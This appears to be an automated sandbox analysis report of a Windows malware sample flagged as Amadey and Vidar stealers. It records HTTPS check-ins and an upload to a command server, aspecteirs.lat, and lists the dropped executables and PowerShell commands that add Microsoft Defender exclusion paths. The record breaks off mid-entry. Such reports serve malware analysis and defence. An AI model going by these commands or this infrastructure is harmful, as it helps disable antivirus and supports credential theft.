2024-12-19 15:12:05 UTC	1129	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 15:12:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s4s0q2gdoqihff8dmiiik35r25; expires=Mon, 14 Apr 2025 08:58:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8gGcnc8hnQvrhlyJKTeuuxHxk8Acvp9%2Frz1ISspeu1xqxVRiL0p77I5shp2%2FIPTOBu3mXQbvr43pZssehWMZkrgqQ1ei%2BahRCp%2FWBnY5J3Kj5J%2BWTINGV4fNiCFR2QtmHQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f48542caab280df-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1513&min_rtt=1507&rtt_var=577&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=905&delivery_rate=1876606&cwnd=215&unsent_bytes=0&cid=947f10e9d0dc055a&ts=758&x=0"
2024-12-19 15:12:05 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-19 15:12:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	50184	188.114.96.6	443

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:12:06 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 50 Host: aspecteirs.lat
2024-12-19 15:12:06 UTC	50	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 43 56 6d 72 30 74 2d 2d 69 6e 73 74 61 6c 6c 73 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=CVmr0t--installs&j=
2024-12-19 15:12:07 UTC	1130	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 15:12:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=go95gr1v9hh56njmkom1gnbf7t; expires=Mon, 14 Apr 2025 08:58:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CXGrIvcEuS6%2BeBLJXBhKDApR80Rj2NPjAe%2B0pXzMTiDxir%2BNvSpIv%2BoLiNPbAw%2FinSUeIL9OgbJ%2FbhDUwU4tpaPXD3aT1DGaXVkRrmj30bdRsZ9uQTIfKIxrwwG0GL2FcQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f48543a9f594397-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1852&min_rtt=1850&rtt_var=699&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=948&delivery_rate=1559829&cwnd=79&unsent_bytes=0&cid=ccdf510976344e7f&ts=786&x=0"
2024-12-19 15:12:07 UTC	239	IN	Data Raw: 34 39 31 63 0d 0a 61 43 49 37 4b 34 62 4a 6f 4c 61 35 68 41 2b 6e 2f 49 52 76 70 6b 50 6e 31 4a 74 6e 75 74 64 50 51 48 77 2f 57 47 65 37 69 49 41 54 41 45 30 4a 76 50 32 4d 6c 4d 72 68 4c 5a 32 49 39 68 72 44 62 38 57 31 2f 30 57 41 73 53 34 73 44 31 70 30 52 63 33 6c 6f 6c 4a 45 57 6b 66 31 72 49 79 55 33 50 77 74 6e 61 66 2f 54 63 4d 74 78 65 36 35 41 74 43 31 4c 69 77 65 58 6a 4d 49 79 2b 54 6a 41 45 35 63 51 2b 4f 71 78 4e 66 56 36 57 72 43 6d 65 55 46 79 43 71 4b 76 50 5a 46 6c 76 55 71 4f 6c 34 46 65 69 72 65 2f 4f 45 6c 51 30 68 41 70 4c 53 4d 7a 5a 76 68 59 59 58 47 70 67 37 44 49 59 75 79 2f 77 7a 53 76 79 63 6b 48 31 73 79 46 39 4c 75 36 41 42 41 58 30 4c 70 6f 39 44 61 33 2b 35 68 78 4a 50 6c 54 Data Ascii: 491caCI7K4bJoLa5hA+n/IRvpkPn1JtnutdPQHw/WGe7iIATAE0JvP2MlMrhLZ2I9hrDb8W1/0WAsS4sD1p0Rc3lolJEWkf1rIyU3Pwtnaf/TcMtxe65AtC1LiweXjMIy+TjAE5cQ+OqxNfV6WrCmeUFyCqKvPZFlvUqOl4Feire/OElQ0hApLSMzZvhYYXGpg7DIYuy/wzSvyckH1syF9Lu6ABAX0Lpo9Da3+5hxJPlT
2024-12-19 15:12:07 UTC	1369	IN	Data Raw: 59 70 68 67 71 36 35 58 5a 6a 6d 48 79 45 50 54 43 38 49 79 65 79 69 46 51 35 41 43 65 4f 6e 67 6f 79 62 37 6d 48 4c 6d 2b 55 43 77 79 43 46 70 50 59 46 32 37 30 6c 4a 68 52 53 4e 51 72 58 34 4f 55 43 53 56 35 47 34 36 50 45 32 39 69 6d 49 34 57 5a 2f 6b 32 63 59 61 57 6d 2b 67 62 4d 75 44 78 69 41 52 4d 6a 52 64 37 6d 6f 6c 49 41 58 30 66 6c 70 73 4c 47 30 2b 31 6d 77 49 7a 74 42 4d 6b 73 68 62 76 7a 43 74 75 31 4b 69 67 55 55 6a 41 42 31 4f 66 6b 43 6b 41 5a 42 36 53 73 32 70 53 44 70 6b 37 41 6a 75 45 42 30 6d 4f 2f 39 75 5a 4c 77 66 55 71 4c 6c 34 46 65 67 33 63 36 65 45 42 54 31 70 42 37 37 6e 43 78 74 33 72 61 4e 65 59 34 77 50 4f 49 70 65 38 39 77 50 62 76 43 59 72 47 31 6f 2b 52 5a 65 71 35 52 49 41 41 51 6e 46 70 73 6e 59 30 66 46 74 68 59 47 6f Data Ascii: Yphgq65XZjmHyEPTC8IyeyiFQ5ACeOngoyb7mHLm+UCwyCFpPYF270lJhRSNQrX4OUCSV5G46PE29imI4WZ/k2cYaWm+gbMuDxiARMjRd7molIAX0flpsLG0+1mwIztBMkshbvzCtu1KigUUjAB1OfkCkAZB6Ss2pSDpk7AjuEB0mO/9uZLwfUqLl4Feg3c6eEBT1pB77nCxt3raNeY4wPOIpe89wPbvCYrG1o+RZeq5RIAAQnFpsnY0fFthYGo
2024-12-19 15:12:07 UTC	1369	IN	Data Raw: 65 36 38 77 50 58 75 43 46 69 55 42 30 39 48 5a 6d 79 6f 69 42 44 54 55 72 75 36 66 66 58 31 65 68 71 30 39 37 35 51 39 31 68 67 72 71 35 58 5a 69 34 4c 43 6f 59 54 7a 55 49 32 75 54 73 42 55 56 57 51 65 53 72 7a 39 48 66 37 57 62 47 6b 2b 49 66 7a 69 47 4e 73 2f 67 50 30 76 56 6a 59 68 6c 46 65 6c 32 5a 32 2f 55 42 41 6d 78 4b 36 71 58 46 77 70 76 35 49 39 7a 65 34 51 47 45 65 63 57 37 38 51 44 64 75 69 77 6f 45 46 67 77 43 64 48 6b 34 52 68 50 58 55 6e 6f 6f 38 6a 5a 31 65 4a 6c 7a 4a 58 74 43 38 51 67 6a 2f 61 33 52 64 2b 74 62 58 70 65 61 54 30 4a 31 4f 57 67 50 30 4e 58 52 2b 4f 39 67 73 75 56 2f 79 33 43 6b 71 5a 56 68 43 32 4d 74 76 49 50 33 4c 55 71 4c 78 74 65 50 51 62 55 37 65 67 45 52 31 31 46 37 61 62 45 31 4e 7a 69 61 4e 65 62 37 77 48 49 59 Data Ascii: e68wPXuCFiUB09HZmyoiBDTUru6ffX1ehq0975Q91hgrq5XZi4LCoYTzUI2uTsBUVWQeSrz9Hf7WbGk+IfziGNs/gP0vVjYhlFel2Z2/UBAmxK6qXFwpv5I9ze4QGEecW78QDduiwoEFgwCdHk4RhPXUnoo8jZ1eJlzJXtC8Qgj/a3Rd+tbXpeaT0J1OWgP0NXR+O9gsuV/y3CkqZVhC2MtvIP3LUqLxtePQbU7egER11F7abE1NziaNeb7wHIY
2024-12-19 15:12:07 UTC	1369	IN	Data Raw: 46 78 2f 73 30 59 68 6c 52 65 6c 32 5a 34 2b 73 59 54 6c 64 41 36 61 33 4b 30 39 58 72 5a 73 4f 56 34 51 72 43 4c 49 32 37 2f 41 62 5a 73 53 63 77 48 56 59 77 43 4e 4f 71 72 45 70 48 51 51 6d 38 36 2b 58 59 38 76 5a 32 31 34 69 6d 45 6f 6f 34 78 62 48 31 52 59 44 31 4c 69 30 58 55 6a 49 4e 31 75 58 6d 42 45 5a 66 52 4f 47 6b 79 4d 62 54 36 47 44 4f 6b 65 30 66 78 43 79 42 75 76 30 4e 30 37 39 74 62 46 35 61 49 6b 57 42 71 74 63 48 54 31 6c 4b 38 75 76 64 6d 73 4b 6d 61 73 6e 65 76 6b 33 49 4c 34 57 35 39 51 6e 54 76 53 77 75 45 46 6f 2f 44 4e 48 69 38 41 74 45 55 55 6a 71 70 4d 50 51 33 75 4e 70 77 70 72 67 41 6f 52 76 78 62 48 68 52 59 44 31 41 67 55 72 48 78 73 2f 6d 66 57 73 45 77 42 65 52 61 54 7a 67 74 6a 59 36 6d 58 4b 6d 4f 38 42 7a 69 69 4f 75 76 Data Ascii: Fx/s0YhlRel2Z4+sYTldA6a3K09XrZsOV4QrCLI27/AbZsScwHVYwCNOqrEpHQQm86+XY8vZ214imEoo4xbH1RYD1Li0XUjIN1uXmBEZfROGkyMbT6GDOke0fxCyBuv0N079tbF5aIkWBqtcHT1lK8uvdmsKmasnevk3IL4W59QnTvSwuEFo/DNHi8AtEUUjqpMPQ3uNpwprgAoRvxbHhRYD1AgUrHxs/mfWsEwBeRaTzgtjY6mXKmO8BziiOuv
2024-12-19 15:12:07 UTC	1369	IN	Data Raw: 4b 53 63 52 58 44 73 44 79 2b 33 72 47 45 35 55 52 75 79 6a 79 39 58 66 34 32 44 44 6b 75 77 4d 77 79 2b 4c 76 72 6c 4c 6d 4c 49 31 59 6b 59 64 47 78 58 43 2b 50 51 48 59 56 52 47 70 4c 53 4d 7a 5a 76 68 59 59 58 47 70 67 54 57 4a 59 69 6b 38 41 4c 57 75 69 34 77 48 31 41 78 46 39 37 6c 35 67 31 4d 58 30 62 69 71 73 66 65 31 2b 46 6f 7a 70 48 71 54 59 70 68 67 71 36 35 58 5a 69 62 4a 6a 45 4a 58 6a 51 4f 7a 2f 47 69 46 51 35 41 43 65 4f 6e 67 6f 79 62 35 57 62 4f 6d 75 59 42 78 43 57 49 74 75 73 4b 33 37 49 6b 4b 51 78 58 50 51 4c 53 34 75 6b 46 52 6b 74 46 36 72 6e 48 78 73 6d 6d 49 34 57 5a 2f 6b 32 63 59 62 4f 78 36 52 58 62 39 78 77 30 48 55 73 78 43 4e 57 71 2f 55 52 5a 47 55 37 6f 36 35 71 55 33 65 6c 6b 78 70 48 6e 42 4d 67 73 67 4c 2f 38 42 4e 36 Data Ascii: KScRXDsDy+3rGE5URuyjy9Xf42DDkuwMwy+LvrlLmLI1YkYdGxXC+PQHYVRGpLSMzZvhYYXGpgTWJYik8ALWui4wH1AxF97l5g1MX0biqsfe1+FozpHqTYphgq65XZibJjEJXjQOz/GiFQ5ACeOngoyb5WbOmuYBxCWItusK37IkKQxXPQLS4ukFRktF6rnHxsmmI4WZ/k2cYbOx6RXb9xw0HUsxCNWq/URZGU7o65qU3elkxpHnBMgsgL/8BN6
2024-12-19 15:12:07 UTC	1369	IN	Data Raw: 46 34 68 52 63 61 6b 2b 30 70 48 56 51 6d 38 36 38 48 54 32 4f 64 6e 7a 4a 4c 70 43 73 41 7a 6a 37 48 72 42 4e 6d 2b 49 43 34 65 55 44 63 50 32 4f 50 76 42 6b 31 65 54 75 75 75 67 70 71 62 34 58 57 46 78 71 59 73 79 53 71 4a 37 61 4e 46 78 2f 73 30 59 68 6c 52 65 6c 32 5a 36 75 67 50 53 6c 52 4b 36 36 6a 51 31 64 33 30 62 63 69 55 39 41 66 50 4a 49 69 37 39 41 62 65 73 79 59 75 44 46 51 36 42 74 4b 71 72 45 70 48 51 51 6d 38 36 2b 48 44 7a 65 78 71 79 59 6a 74 44 4d 63 33 69 4b 61 35 53 35 69 6b 4b 6a 4e 65 42 53 77 56 7a 75 33 39 52 46 6b 5a 54 75 6a 72 6d 70 54 64 37 32 76 43 6d 4f 67 66 77 53 65 4b 75 66 41 4d 33 4c 30 75 49 68 70 5a 50 51 44 61 35 75 6b 4e 51 31 5a 4e 37 61 58 4c 32 35 75 6f 4c 63 4b 47 70 6c 57 45 41 4a 36 31 39 51 69 59 71 6d 4d 37 Data Ascii: F4hRcak+0pHVQm868HT2OdnzJLpCsAzj7HrBNm+IC4eUDcP2OPvBk1eTuuugpqb4XWFxqYsySqJ7aNFx/s0YhlRel2Z6ugPSlRK66jQ1d30bciU9AfPJIi79AbesyYuDFQ6BtKqrEpHQQm86+HDzexqyYjtDMc3iKa5S5ikKjNeBSwVzu39RFkZTujrmpTd72vCmOgfwSeKufAM3L0uIhpZPQDa5ukNQ1ZN7aXL25uoLcKGplWEAJ619QiYqmM7
2024-12-19 15:12:07 UTC	1369	IN	Data Raw: 58 65 38 71 4a 53 41 48 6c 43 38 71 37 46 77 70 6e 54 62 73 75 51 34 52 75 45 50 72 72 34 75 51 72 43 39 58 55 62 42 78 30 39 43 5a 6d 79 6f 68 39 48 57 55 37 2b 76 63 58 59 79 75 31 67 79 62 7a 70 43 74 49 69 69 72 58 6f 44 4a 53 2b 49 47 4a 51 48 54 30 64 6d 62 4b 69 4a 55 64 50 53 73 75 6f 30 39 32 62 71 43 33 43 69 4b 5a 56 68 42 2f 46 70 50 6f 56 32 37 6f 38 48 46 34 46 49 7a 75 5a 34 66 51 4e 55 46 70 66 37 36 62 4f 78 65 57 6d 4e 5a 48 4d 74 46 2b 57 63 35 72 32 35 6a 71 57 39 53 78 69 52 6d 51 6a 52 63 2b 71 75 6c 67 4f 47 56 75 6b 38 34 4b 54 32 50 52 2f 77 35 33 77 44 6f 4d 66 75 35 48 76 44 39 2b 6c 4b 6a 55 52 48 58 52 46 31 71 71 36 4d 77 42 51 54 76 2b 36 31 4e 6e 4c 34 53 33 36 30 4b 59 56 68 48 6e 46 67 2f 6f 4c 31 72 49 37 4d 31 4e 36 4c Data Ascii: Xe8qJSAHlC8q7FwpnTbsuQ4RuEPrr4uQrC9XUbBx09CZmyoh9HWU7+vcXYyu1gybzpCtIiirXoDJS+IGJQHT0dmbKiJUdPSsuo092bqC3CiKZVhB/FpPoV27o8HF4FIzuZ4fQNUFpf76bOxeWmNZHMtF+Wc5r25jqW9SxiRmQjRc+qulgOGVuk84KT2PR/w53wDoMfu5HvD9+lKjURHXRF1qq6MwBQTv+61NnL4S360KYVhHnFg/oL1rI7M1N6L
2024-12-19 15:12:07 UTC	1369	IN	Data Raw: 63 4e 45 46 55 52 71 69 6c 79 64 54 63 39 6e 76 65 30 75 34 4f 33 6a 75 37 69 4e 49 4a 33 72 49 33 4a 52 68 37 47 6b 57 58 71 75 31 4b 47 47 41 4a 72 4f 76 39 6d 70 76 2b 4c 5a 33 65 30 77 37 4b 4c 34 4b 67 36 45 6a 77 6c 68 63 59 58 48 45 39 45 4a 76 65 35 52 70 52 55 6b 54 6f 36 34 79 55 33 61 59 31 6c 64 43 6d 43 64 56 68 33 65 61 72 58 6f 33 6d 65 6e 4a 4d 51 6e 51 63 6d 66 79 69 55 68 49 58 43 66 62 72 6d 70 53 63 35 58 2f 58 6d 4f 55 62 78 32 61 37 69 4e 34 4c 33 37 51 37 4d 67 6c 53 42 44 76 4d 36 65 77 45 52 30 39 59 70 4f 57 43 32 35 75 2b 56 49 58 57 70 6a 4b 4b 59 5a 33 32 6f 55 58 74 74 69 4d 73 47 55 73 72 53 50 37 6b 35 51 74 57 53 56 37 72 36 34 79 55 33 61 59 31 6c 39 43 6d 43 64 56 68 33 65 61 72 58 6f 33 6d 65 6e 4a 4d 51 6e 51 63 6d 66 Data Ascii: cNEFURqilydTc9nve0u4O3ju7iNIJ3rI3JRh7GkWXqu1KGGAJrOv9mpv+LZ3e0w7KL4Kg6EjwlhcYXHE9EJve5RpRUkTo64yU3aY1ldCmCdVh3earXo3menJMQnQcmfyiUhIXCfbrmpSc5X/XmOUbx2a7iN4L37Q7MglSBDvM6ewER09YpOWC25u+VIXWpjKKYZ32oUXttiMsGUsrSP7k5QtWSV7r64yU3aY1l9CmCdVh3earXo3menJMQnQcmf
2024-12-19 15:12:07 UTC	1369	IN	Data Raw: 53 55 54 72 72 49 44 30 33 50 42 75 68 64 43 6d 41 59 52 35 78 62 66 7a 46 64 57 36 4b 6d 34 5a 52 7a 31 46 6c 36 72 73 53 68 67 5a 53 4f 36 37 7a 39 76 63 71 6d 76 4c 6b 4b 59 53 69 6a 6a 46 6f 4c 6c 64 69 2f 74 74 4d 46 34 46 65 6b 4c 61 2b 50 41 4d 51 30 39 4b 6f 35 58 38 2b 63 6e 68 66 63 62 63 31 77 44 41 4e 35 43 31 36 51 4c 6d 69 77 41 77 47 55 30 35 52 2b 6a 38 34 51 70 4f 58 67 6d 71 36 39 71 55 67 36 5a 41 31 35 6e 32 44 6f 52 76 78 62 71 35 58 5a 69 34 50 79 55 4f 58 6e 59 43 77 2b 32 69 46 51 35 41 43 66 4c 72 6d 6f 65 56 70 6e 2b 46 78 71 5a 4b 79 69 79 45 74 66 63 47 79 71 63 72 49 51 68 65 66 54 76 6e 78 2f 41 4e 55 46 6f 4c 31 61 62 47 77 73 37 6c 66 63 4b 67 32 43 44 57 4a 70 57 31 75 79 6e 66 75 43 45 63 49 47 6f 72 41 73 6d 6f 78 41 6c Data Ascii: SUTrrID03PBuhdCmAYR5xbfzFdW6Km4ZRz1Fl6rsShgZSO67z9vcqmvLkKYSijjFoLldi/ttMF4FekLa+PAMQ09Ko5X8+cnhfcbc1wDAN5C16QLmiwAwGU05R+j84QpOXgmq69qUg6ZA15n2DoRvxbq5XZi4PyUOXnYCw+2iFQ5ACfLrmoeVpn+FxqZKyiyEtfcGyqcrIQhefTvnx/ANUFoL1abGws7lfcKg2CDWJpW1uynfuCEcIGorAsmoxAl

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	50185	188.114.96.6	443

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:12:08 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FGTV6JS0ZLVEMCZ3YO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12862 Host: aspecteirs.lat
2024-12-19 15:12:08 UTC	12862	OUT	Data Raw: 2d 2d 46 47 54 56 36 4a 53 30 5a 4c 56 45 4d 43 5a 33 59 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 33 44 30 35 45 31 37 33 46 42 32 44 42 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 46 47 54 56 36 4a 53 30 5a 4c 56 45 4d 43 5a 33 59 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 46 47 54 56 36 4a 53 30 5a 4c 56 45 4d 43 5a 33 59 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 56 6d 72 30 74 2d 2d 69 6e 73 74 61 Data Ascii: --FGTV6JS0ZLVEMCZ3YOContent-Disposition: form-data; name="hwid"83D05E173FB2DB55AC8923850305D13E--FGTV6JS0ZLVEMCZ3YOContent-Disposition: form-data; name="pid"2--FGTV6JS0ZLVEMCZ3YOContent-Disposition: form-data; name="lid"CVmr0t--insta

Target ID:	0
Start time:	10:09:23
Start date:	19/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xb40000
File size:	3'011'072 bytes
MD5 hash:	DAC73E7813DC3500E5F677B5F31191DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2317073116.0000000005170000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:09:27
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x7a0000
File size:	3'011'072 bytes
MD5 hash:	DAC73E7813DC3500E5F677B5F31191DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2357645239.0000000004880000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2398180926.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 61%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:09:28
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x7a0000
File size:	3'011'072 bytes
MD5 hash:	DAC73E7813DC3500E5F677B5F31191DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2408823354.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2368517680.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:10:00
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x7ff66e660000
File size:	3'011'072 bytes
MD5 hash:	DAC73E7813DC3500E5F677B5F31191DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2679300626.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	10:10:12
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe"
Imagebase:	0x680000
File size:	22'016 bytes
MD5 hash:	04F57C6FB2B2CD8DCC4B38E4A93D4366
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000008.00000002.2976798123.0000000003AD8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:10:12
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff799c70000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:10:14
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" Add-MpPreference -ExclusionPath "C:\aqhnzja"
Imagebase:	0x8c0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:10:14
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:10:17
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Imagebase:	0x8c0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	10:10:17
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	10:10:20
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe"
Imagebase:	0x6c0000
File size:	1'114'112 bytes
MD5 hash:	EF08A45833A7D881C90DED1952F96CB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:10:21
Start date:	19/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	10:10:27
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe"
Imagebase:	0x50000
File size:	1'114'112 bytes
MD5 hash:	EF08A45833A7D881C90DED1952F96CB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	10:10:27
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe"
Imagebase:	0x100000
File size:	1'114'112 bytes
MD5 hash:	EF08A45833A7D881C90DED1952F96CB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	10:10:27
Start date:	19/12/2024
